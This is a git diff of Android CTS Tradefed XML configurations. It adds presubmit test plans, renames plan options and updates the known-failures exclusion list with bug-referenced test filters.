diff --git a/tools/cts-tradefed/res/config/cts-global-presubmit.xml b/tools/cts-tradefed/res/config/cts-global-presubmit.xml
new file mode 100644
index 0000000..5a858e7
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-global-presubmit.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS global presubmit test cases">
+
+    <include name="cts-automated" />
+
+    <option name="plan" value="cts" />
+
+    <!-- Include modules with presubmit test cases, repeat for each applicable module -->
+    <!--option name="compatibility:include-filter" value="<CTS module name goes here>" /-->
+
+    <!-- Only run tests with @GlobalPresubmit annotation. -->
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:include-annotation:android.platform.test.annotations.GlobalPresubmit" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:android.platform.test.annotations.GlobalPresubmit" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:include-annotation:android.platform.test.annotations.GlobalPresubmit" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-java.xml b/tools/cts-tradefed/res/config/cts-java.xml
index 52c25c9..722d8f7 100644
--- a/tools/cts-tradefed/res/config/cts-java.xml
+++ b/tools/cts-tradefed/res/config/cts-java.xml
@@ -17,7 +17,7 @@
 
     <include name="cts" />
 
-    <option name="compatibility:plan" value="cts-java" />
+    <option name="plan" value="cts-java" />
 
     <!-- Include CtsLibcoreTestCases -->
     <option name="compatibility:include-filter" value="CtsLibcoreTestCases" />
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 848f1d0..4fbaa8c 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -19,6 +19,9 @@
     <!-- <option name="compatibility:exclude-filter" value="MODULE_NAME PACKAGE_NAME.CLASS_NAME" /> Excludes whole class -->
     <!-- <option name="compatibility:exclude-filter" value="MODULE_NAME PACKAGE_NAME.CLASS_NAME#TEST_NAME" /> Excludes individual test -->
 
+    <!-- b/38182235 -->
+    <option name="compatibility:exclude-filter" value="CtsLocationTestCases android.location.cts.GnssTtffTests#testTtffWithNetwork" />
+
     <!-- b/35314835 -->
     <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.ActivityManagerPinnedStackTests#testAlwaysFocusablePipActivity" />
     <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.ActivityManagerPinnedStackTests#testLaunchIntoPinnedStack" />
@@ -27,12 +30,6 @@
     <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverText" />
     <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverTextExtend" />
 
-    <!-- b/23776083 -->
-    <option name="compatibility:exclude-filter" value="CtsAlarmClockTestCases" />
-
-    <!-- b/31156007 will need framework fix https://android.googlesource.com/platform/frameworks/base/+/20488d97cdc9aa7e98f6fd75c2890ba18781654a -->
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ScopedDirectoryAccessTest#testDeniesOnceForAllClearedWhenPackageRemoved" />
-
     <!-- b/17993121 -->
     <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testAppWidgetProviderCallbacks" />
     <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testBindAppWidget" />
@@ -49,20 +46,6 @@
     <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaWidgetId" />
     <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaWidgetIds" />
 
-    <!-- b/21668302 -->
-    <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.AssistantContentViewTest#testAssistantContentViewDimens" />
-    <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.ExtraAssistDataTest#testAssistContentAndAssistData" />
-    <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.FocusChangeTest#testLayerCausesUnderlyingActivityToLoseFocus" />
-    <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.LargeViewHierarchyTest#testTextView" />
-    <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.ScreenshotTest#testBlueScreenshot" />
-    <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.ScreenshotTest#testGreenScreenshot" />
-    <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.ScreenshotTest#testRedScreenshot" />
-    <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.TextViewTest#testTextView" />
-    <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.WebViewTest#testWebView" />
-
-    <!-- b/23776099 -->
-    <option name="compatibility:exclude-filter" value="CtsCallLogTestCases" />
-
     <!-- b/17530117 -->
     <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.AllocationTest#testBlackWhite" />
     <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.AllocationTest#testParamSensitivity" />
@@ -71,64 +54,38 @@
     <!-- b/23008511 -->
     <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.cts.CameraTest#testPreviewFpsRange" />
 
+    <!-- These test cases are only applicable to Android Auto Embedded targets.-->
     <option name="compatibility:exclude-filter" value="CtsCarTestCases" />
 
     <!-- b/23776893 -->
     <option name="compatibility:exclude-filter" value="CtsDumpsysHostTestCases android.dumpsys.cts.DumpsysHostTest#testBatterystatsOutput" />
     <option name="compatibility:exclude-filter" value="CtsDumpsysHostTestCases android.dumpsys.cts.DumpsysHostTest#testGfxinfoFramestats" />
 
-    <!-- b/31199016 will need platform fix https://android.googlesource.com/platform/frameworks/base/+/11a84b8429c2cf395b99c852d232a490ba1c9975 to pass -->
-    <option name="compatibility:exclude-filter" value="CtsGraphicsTestCases android.graphics.drawable.cts.ThemedDrawableTest#testLayerDrawable" />
-
-    <!-- b/31306911 will need platform fixes
-         https://android.googlesource.com/platform/frameworks/base/+/0a815bb94fa2aad016a10fe23633efc5682d2a7c and
-         https://android.googlesource.com/platform/frameworks/base/+/0c03664fa6acbe5c3fd11d54ab9a6792f43dda07 to pass -->
-    <option name="compatibility:exclude-filter" value="CtsGraphicsTestCases android.graphics.drawable.cts.CustomAnimationScaleListDrawableTest#testNonZeroDurationScale" />
-    <option name="compatibility:exclude-filter" value="CtsGraphicsTestCases android.graphics.drawable.cts.CustomAnimationScaleListDrawableTest#testZeroDurationScale" />
-
-    <!-- b/22922206 b/27534791 -->
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testAccelerometer_50hz_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testAccelerometer_fastest_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testGravity_50hz_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testGravity_fastest_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testGyroscope_50hz_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testGyroscope_50hz_flush" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testGyroscope_fastest_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testLinearAcceleration_50hz_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testLinearAcceleration_fastest_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testMagneticField_50hz_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testMagneticField_fastest_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testMagneticFieldUncalibrated_50hz_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testMagneticFieldUncalibrated_fastest_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testPressure_50hz_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testPressure_fastest_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testRotationVector_50hz_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testRotationVector_50hz_flush" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorBatchingTests#testRotationVector_fastest_batching" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorIntegrationTests#testSensorsMovingRates" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorIntegrationTests#testSensorsWithSeveralClients" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorTest#testBatchAndFlush" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SensorTest#testSensorTimeStamps" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SingleSensorTests#testGyroscope_15hz" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SingleSensorTests#testGyroscope_1hz" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SingleSensorTests#testMagneticField_1hz" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SingleSensorTests#testMagneticField_50hz" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SingleSensorTests#testMagneticFieldUncalibrated_200hz" />
-    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases android.hardware.cts.SingleSensorTests#testOrientation_5hz" />
-
-    <!-- b/31153233 will need platform fix https://android.googlesource.com/platform/external/apache-harmony/+/5617ae1cb798e58748946c0fa4299f5d982c7b8b to pass -->
-    <option name="compatibility:exclude-filter" value="CtsJdwpTestCases org.apache.harmony.jpda.tests.jdwp.ClassType.NewInstanceStringTest#testNewInstanceString_ByteArrayArgConstructor" />
-    <option name="compatibility:exclude-filter" value="CtsJdwpTestCases org.apache.harmony.jpda.tests.jdwp.ClassType.NewInstanceStringTest#testNewInstanceString_ByteArrayCharsetConstructor" />
-    <option name="compatibility:exclude-filter" value="CtsJdwpTestCases org.apache.harmony.jpda.tests.jdwp.ClassType.NewInstanceStringTest#testNewInstanceString_ByteArrayIntIntCharsetConstructor" />
-    <option name="compatibility:exclude-filter" value="CtsJdwpTestCases org.apache.harmony.jpda.tests.jdwp.ClassType.NewInstanceStringTest#testNewInstanceString_ByteArrayIntIntConstructor" />
-    <option name="compatibility:exclude-filter" value="CtsJdwpTestCases org.apache.harmony.jpda.tests.jdwp.ClassType.NewInstanceStringTest#testNewInstanceString_ByteArrayIntIntStringConstructor" />
-    <option name="compatibility:exclude-filter" value="CtsJdwpTestCases org.apache.harmony.jpda.tests.jdwp.ClassType.NewInstanceStringTest#testNewInstanceString_ByteArrayStringConstructor" />
-    <option name="compatibility:exclude-filter" value="CtsJdwpTestCases org.apache.harmony.jpda.tests.jdwp.ClassType.NewInstanceStringTest#testNewInstanceString_CharArrayConstructor" />
-    <option name="compatibility:exclude-filter" value="CtsJdwpTestCases org.apache.harmony.jpda.tests.jdwp.ClassType.NewInstanceStringTest#testNewInstanceString_CharArrayIntIntConstructor" />
-    <option name="compatibility:exclude-filter" value="CtsJdwpTestCases org.apache.harmony.jpda.tests.jdwp.ClassType.NewInstanceStringTest#testNewInstanceString_IntArrayIntIntConstructor" />
-    <option name="compatibility:exclude-filter" value="CtsJdwpTestCases org.apache.harmony.jpda.tests.jdwp.ClassType.NewInstanceStringTest#testNewInstanceString_StringBufferConstructor" />
-    <option name="compatibility:exclude-filter" value="CtsJdwpTestCases org.apache.harmony.jpda.tests.jdwp.ClassType.NewInstanceStringTest#testNewInstanceString_StringBuilderConstructor" />
-    <option name="compatibility:exclude-filter" value="CtsJdwpTestCases org.apache.harmony.jpda.tests.jdwp.ClassType.NewInstanceStringTest#testNewInstanceString_StringConstructor" />
+    <!-- b/16720689 -->
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch001" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch002" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch003" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch004" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowLaunchDebugger001#testDebugger002" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowLaunchDebugger002#testDebugger" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.ClassUnloadTest#testClassUnloadEvent" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorContendedEnteredTest#testMonitorContendedEnteredForClassMatch" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorContendedEnterTest#testMonitorContendedEnterForClassMatch" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassExclude" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchExact" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchFirst" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchSecond" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassOnly" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassExclude" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchExact" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchFirst" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchSecond" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassOnly" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.ReferenceType.ClassFileVersionTest#testClassFileVersion001" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.ReferenceType.NestedTypesTest#testNestedTypes001" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.ThreadReference.StopTest#testStop001" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.VirtualMachine.HoldEventsTest#testHoldEvents001" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.VirtualMachine.ReleaseEventsTest#testReleaseEvents001" />
 
     <!-- b/18117279 b/21262226 b/23144425 -->
     <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withMobile" />
@@ -137,30 +94,8 @@
     <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testUnmeteredConstraintFails_withMobile" />
     <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.TimingConstraintsTest#testJobParameters_unexpiredDeadline" />
 
-    <!-- b/31157079 will need platform fix https://android.googlesource.com/platform/libcore/+/4149edc81ea22ef954aa443e0c70e5d3cb55341b to pass -->
-    <option name="compatibility:exclude-filter" value="CtsLibcoreTestCases libcore.java.util.TimeZoneTest#testDisplayNamesWithScript" />
-
-    <!-- b/31157557 will need platform fix https://android.googlesource.com/platform/libcore/+/7b7ce9368f104eef4cf337a8a2067e5cf345ccc0 to pass -->
-    <option name="compatibility:exclude-filter" value="CtsLibcoreTestCases libcore.java.net.SocketTest#testSocketTestAllAddresses" />
-
-    <!-- b/31305368 will need platform fix https://android.googlesource.com/platform/external/conscrypt/+/f24631e45c6bef8135cd9e82bfb30cf56fd8acb6 to pass -->
-    <option name="compatibility:exclude-filter" value="CtsLibcoreTestCases libcore.javax.crypto.MacTest#testMac_correctAlias" />
-
-    <!-- b/31151341 will need platform fix https://android.googlesource.com/platform/libcore/+/4a2b94a98213fcf628f6d4de034a109695d908cc to pass -->
-    <option name="compatibility:exclude-filter" value="CtsLibcoreTestCases libcore.net.MimeUtilsTest#test_30793548" />
-
-    <!-- b/31155940 will need platform fix https://android.googlesource.com/platform/libcore/+/08e9e364940586cb242839c8f0e303b82438f58b to pass -->
-    <option name="compatibility:exclude-filter" value="CtsLibcoreTestCases org.apache.harmony.tests.java.util.VectorTest#test_listIterator_addAndPrevious" />
-
-    <!-- b/31535558 will need platform fix https://android.googlesource.com/platform/frameworks/base/+/4e82fe51207bbd8ceaec356b4215e338ec63a31e to pass -->
-    <option name="compatibility:exclude-filter" value="CtsLocationTestCases android.location.cts.GnssStatusTest#testGnssStatusChanges" />
-
-    <!-- b/25850508 -->
-    <option name="compatibility:exclude-filter" value="CtsMediaStressTestCases android.mediastress.cts.preconditions.MediaPreparerTest#testCopyMediaFiles" />
-    <option name="compatibility:exclude-filter" value="CtsMediaStressTestCases android.mediastress.cts.preconditions.MediaPreparerTest#testMediaFilesExistOnDeviceFalse" />
-    <option name="compatibility:exclude-filter" value="CtsMediaStressTestCases android.mediastress.cts.preconditions.MediaPreparerTest#testMediaFilesExistOnDeviceTrue" />
-    <option name="compatibility:exclude-filter" value="CtsMediaStressTestCases android.mediastress.cts.preconditions.MediaPreparerTest#testSetMountPoint" />
-    <option name="compatibility:exclude-filter" value="CtsMediaStressTestCases android.mediastress.cts.preconditions.MediaPreparerTest#testSkipMediaDownload" />
+    <!-- b/62616944 -->
+    <option name="compatibility:exclude-filter" value="CtsLibcoreJavaUtilCollectionsTestCases" />
 
     <!-- b/17144778 -->
     <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ImageReaderDecoderTest#testHwAVCDecode360pForFlexibleYuv" />
@@ -183,9 +118,6 @@
     <!-- b/18091590 -->
     <option name="compatibility:exclude-filter" value="CtsOpenGlPerfTestCases android.openglperf.cts.GlVboPerfTest#testVboWithVaryingIndexBufferNumbers" />
 
-    <!-- b/31306874 will need platform fix https://android.googlesource.com/platform/frameworks/base/+/5eb91a437c551ed0c66b38299f988f8159ada207 to pass -->
-    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.AsyncTaskTest#testCancellationWithException" />
-
     <!-- b/23192492 -->
     <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.ProtectedBroadcastsTest#testSendProtectedBroadcasts" />
 
@@ -203,11 +135,8 @@
     <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.MediaCryptoTest#testMediaCryptoClearKey" />
     <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.MediaCryptoTest#testMediaCryptoWidevine" />
 
-    <!-- b/26150806 -->
-    <option name="compatibility:exclude-filter" value="CtsSignatureTestCases android.signature.cts.tests" />
-
-    <!-- b/23427621 -->
-    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases" />
+    <!-- b/62302163 -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.Poc17_04#testPocCVE_2017_0564" />
 
     <!-- b/27873815 -->
     <option name="compatibility:exclude-filter" value="arm64-v8a CtsRenderscriptLegacyTestCases" />
@@ -227,9 +156,6 @@
     <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testPackageUsageStatsIntervals" />
     <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testUsageEventsParceling" />
 
-    <!-- b/31469490 -->
-    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.DragDropTest" />
-
     <!-- b/23238984 -->
     <option name="compatibility:exclude-filter" value="CtsVoiceSettingsTestCases android.voicesettings.cts.ZenModeTest#testAll" />
 
@@ -239,6 +165,57 @@
     <!-- b/31803630 -->
     <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.ListeningPortsTest" />
 
-    <!-- b/26149528 -->
-    <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.WiredHeadsetTest" />
+    <!-- b/36686383 -->
+    <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testANR" />
+
+    <!-- b/33090965 -->
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0320x0180" />
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0640x0360" />
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1280x0720" />
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1920x1080" />
+
+    <!-- b/37545399 -->
+    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarTests#testLightNavigationBar" />
+
+    <!-- b/37482372 -->
+    <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowHistoryPreservePortraitTest" />
+    <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowInOutPortraitTest" />
+    <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowInitialHeaderOnBackPortraitTest" />
+    <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowInnerFragmentInOutPortraitTest" />
+    <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#startWithFragmentAndInitTitleMultiWindowPortraitTest" />
+    <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#startWithFragmentNoHeadersMultiWindowPortraitTest" />
+
+    <!-- b/38177396 -->
+    <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowLandscapeTest#multiWindowHistoryPreserveLandscapeTest" />
+    <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowLandscapeTest#multiWindowInOutLandscapeTest" />
+    <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowLandscapeTest#multiWindowInitialHeaderOnBackLandscapeTest" />
+    <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowLandscapeTest#multiWindowInnerFragmentInOutLandscapeTest" />
+    <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowLandscapeTest#startWithFragmentAndInitTitleMultiWindowLandscapeTest" />
+    <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowLandscapeTest#startWithFragmentNoHeadersMultiWindowLandscapeTest" />
+
+    <!-- b/62368423 -->
+    <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowLandscapeTest#startWithFragmentAndRecreateLandscapeTest" />
+    <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#startWithFragmentAndRecreatePortraitTest" />
+
+    <!-- b/38224690 -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.NativeEncoderTest" />
+
+    <!-- b/38463882 -->
+    <option name="compatibility:exclude-filter" value="x86_64 CtsLiblogTestCases liblog#event_log_tags" />
+
+    <!-- b/38464828 -->
+    <option name="compatibility:exclude-filter" value="CtsFileSystemTestCases android.filesystem.cts.AlmostFullTest" />
+
+    <!-- b/37271927 -->
+    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ViewTest#testUpdateDragShadow" />
+
+    <!-- b/62481870 -->
+    <option name="compatibility:exclude-filter" value="CtsNativeMediaAAudioTestCases android.nativemedia.aaudio.AAudioOutputStreamCallbackTest#testPlayback" />
+
+    <!-- b/62844160 -->
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAutoSizeCallers_setText" />
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testGetOffsetForPositionSingleLineLtr" />
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testGetOffsetForPositionMultiLineLtr" />
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testGetOffsetForPositionMultiLineRtl" />
+
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-preconditions.xml b/tools/cts-tradefed/res/config/cts-preconditions.xml
index e521ebd..21215df 100644
--- a/tools/cts-tradefed/res/config/cts-preconditions.xml
+++ b/tools/cts-tradefed/res/config/cts-preconditions.xml
@@ -15,7 +15,9 @@
 -->
 <configuration description="CTS precondition configs">
 
-    <option name="compatibility:plan" value="cts-preconditions" />
+    <include name="cts-device-files" />
+
+    <option name="plan" value="cts-preconditions" />
 
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
         <option name="target" value="host" />
@@ -65,5 +67,4 @@
         <option name="dest-dir" value="report-log-files/"/>
         <option name="temp-dir" value="temp-report-logs/"/>
     </target_preparer>
-
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-presubmit.xml b/tools/cts-tradefed/res/config/cts-presubmit.xml
new file mode 100644
index 0000000..5997779
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-presubmit.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS presubmit test cases">
+
+    <include name="cts-automated" />
+
+    <!-- Only run tests with @Presubmit annotation -->
+    <!-- This serve as a base config for CTS tests used for presubmit;
+         additional filtering parameters should be applied to further narrow
+         down the choice of tests, e.g. module filter
+    -->
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:include-annotation:android.platform.test.annotations.Presubmit" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:android.platform.test.annotations.Presubmit" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:include-annotation:android.platform.test.annotations.Presubmit" />
+
+</configuration>
